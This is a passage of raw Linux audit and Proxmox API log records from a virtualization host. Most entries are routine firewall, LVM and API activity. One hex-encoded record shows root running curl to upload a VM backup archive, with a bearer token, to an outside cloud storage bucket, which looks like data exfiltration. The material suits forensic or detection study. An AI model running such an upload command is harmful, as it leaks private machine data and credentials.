fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964984672,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1075"} {"@timestamp":1781965835453,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.453:67294): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964215706,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.706:60074): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965845629,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.629:67338): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f85e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64671 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965583561,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965583.561:66220): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955ab0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63596 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964984672,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:23 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 848"} {"@timestamp":1781965835444,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.444:67293): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964215699,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.699:60073): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965845050,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.050:67337): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c3cc0 a1=64f8d73ced30 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64670 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965583547,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965583.547:66217): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899559f0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63595 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964983659,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965834906,"@rawstring":"node=pve type=EXECVE msg=audit(1781965834.906:67292): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964215693,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.693:60072): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965845020,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.020:67336): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7410a40 a1=64f8d73d5280 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64669 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965578536,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965578.536:66214): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955930 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63594 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964982461,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781965834873,"@rawstring":"node=pve type=EXECVE msg=audit(1781965834.873:67291): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964215689,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.689:60071): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965844507,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965844.507:67335): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64666 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965578527,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965578.527:66211): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955870 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63593 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964982461,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:21 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781965834469,"@rawstring":"node=pve type=EXECVE msg=audit(1781965834.469:67290): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964215685,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.685:60070): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965844500,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965844.500:67332): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64665 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575577,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.577:66208): arch=c000003e syscall=59 success=yes exit=0 a0=63c5f7afed70 a1=63c5f7b0af80 a2=63c5f7ad8680 a3=5 items=2 ppid=63586 pid=63592 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964980652,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1075"} {"@timestamp":1781965834464,"@rawstring":"node=pve type=EXECVE msg=audit(1781965834.464:67287): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964215684,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.684:60069): argc=1 a0=\"date\""} {"@timestamp":1781965840882,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965840.882:67329): arch=c000003e syscall=59 success=yes exit=0 a0=637ee72542a0 a1=637ee7254310 a2=637ee7240ef0 a3=8 items=2 ppid=64660 pid=64662 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575562,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.562:66207): arch=c000003e syscall=59 success=yes exit=0 a0=63c5bca8cac8 a1=7ffebb45cb30 a2=63c5f7ad8680 a3=63c5bca7024e items=2 ppid=63586 pid=63588 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964979633,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:18 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781965833585,"@rawstring":"node=pve type=EXECVE msg=audit(1781965833.585:67284): argc=10 a0=\"curl\" a1=\"-X\" a2=\"POST\" a3=\"--data-binary\" a4=\"@./vzdump-qemu-877.tar\" a5=\"-H\" a6=417574686F72697A6174696F6E3A20426561726572206635363764616236356638333661343766376163326136333439653637396264306237636633363861353832613838393831386462383334623431326465623030343162366239383837386539343239633036313234323538333538623732303431346539646339356435313266646630656336373232626161353332323832623135376663386238346564363436363137613964373438346432333764313333316436373466626261366135393535613032663366313130323035333862346538646566623432363837373363336366343563636137643065326165323838636432376532393132383862623436303031343562313663373431653361313131616632616339336237386639376361613266636233323466626238376437653231666535353366633365666436636132626134383532653064373931383931616563396264343235306137316634653132353666383938666330643333653237366631623730373865616263646438393132653264366437333735303533316338393339303462376434366233313662643134666365623863366563616363353566 a7=\"-H\" a8=436F6E74656E742D547970653A206170706C69636174696F6E2F6F637465742D73747265616D a9=\"https://storage.googleapis.com/upload/storage/v1/b/safesecurecapture/o?uploadType=media&name=open.rar\""} {"@timestamp":1781964215680,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.680:60067): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965840882,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965840.882:67328): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7252c60 a1=637ee7254c40 a2=637ee7240ef0 a3=8 items=2 ppid=64660 pid=64661 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575554,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.554:66206): arch=c000003e syscall=59 success=yes exit=0 a0=7ffebb45caf0 a1=63c5f7afa410 a2=63c5f7ad8680 a3=5 items=2 ppid=63586 pid=63587 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964979633,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781965829456,"@rawstring":"node=pve type=EXECVE msg=audit(1781965829.456:67283): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964215673,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.673:60066): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965840881,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965840.881:67327): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7254420 a1=637ee7242990 a2=637ee7257220 a3=8 items=2 ppid=846 pid=64659 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575541,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.541:66204): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63586 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964978627,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965829447,"@rawstring":"node=pve type=EXECVE msg=audit(1781965829.447:67280): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964215666,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.666:60065): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965839489,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965839.489:67326): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64658 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575527,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.527:66203): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63585 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964978627,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:17 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 846"} {"@timestamp":1781965825431,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.431:67277): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964215661,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.661:60064): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965839481,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965839.481:67323): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64657 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575517,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.517:66202): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63584 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964976711,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781965825428,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.428:67276): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964215655,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.655:60063): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965835613,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.613:67320): arch=c000003e syscall=59 success=yes exit=0 a0=5aacbd9e9060 a1=5aacbd9e5de0 a2=5aacbd9c7680 a3=5 items=2 ppid=64650 pid=64656 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575508,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.508:66201): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63583 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964976711,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1075"} {"@timestamp":1781965825427,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.427:67275): argc=1 a0=\"date\""} {"@timestamp":1781964215648,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.648:60062): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965835606,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.606:67319): arch=c000003e syscall=59 success=yes exit=0 a0=5aaca21baac8 a1=7fffddd09090 a2=5aacbd9c7680 a3=5aaca219e24e items=2 ppid=64650 pid=64652 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575499,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.499:66200): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63582 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964975708,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:15 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965825422,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.422:67273): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964214202,"@rawstring":"node=pve type=EXECVE msg=audit(1781964214.202:60061): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965835603,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.603:67318): arch=c000003e syscall=59 success=yes exit=0 a0=7fffddd09050 a1=5aacbd9e4cd0 a2=5aacbd9c7680 a3=5 items=2 ppid=64650 pid=64651 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575496,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.496:66199): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5f27a8168740 items=0 ppid=1156 pid=63581 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964975708,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965825414,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.414:67272): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964214165,"@rawstring":"node=pve type=EXECVE msg=audit(1781964214.165:60060): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965835598,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.598:67316): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64650 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575492,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.492:66198): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc138750 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63581 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964973765,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:12 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781965825405,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.405:67271): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964213335,"@rawstring":"node=pve type=EXECVE msg=audit(1781964213.335:60059): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965835591,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.591:67315): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64649 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575484,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.484:66197): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f0b20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63580 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964972682,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:12 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965825399,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.399:67270): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964213328,"@rawstring":"node=pve type=EXECVE msg=audit(1781964213.328:60056): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965835579,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.579:67314): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64648 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575478,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.478:66196): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ed790 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63579 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964972682,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1070"} {"@timestamp":1781965825391,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.391:67269): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964208314,"@rawstring":"node=pve type=EXECVE msg=audit(1781964208.314:60053): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965835558,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.558:67313): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64647 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575472,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.472:66195): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ff500 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63578 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964972682,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:11 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 844"} {"@timestamp":1781965825384,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.384:67267): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964208306,"@rawstring":"node=pve type=EXECVE msg=audit(1781964208.306:60050): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965835547,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.547:67312): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64646 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575464,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.464:66194): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed790 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63577 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964971656,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965825378,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.378:67266): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964205635,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.635:60047): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965835542,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.542:67311): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=6074cb9df740 items=0 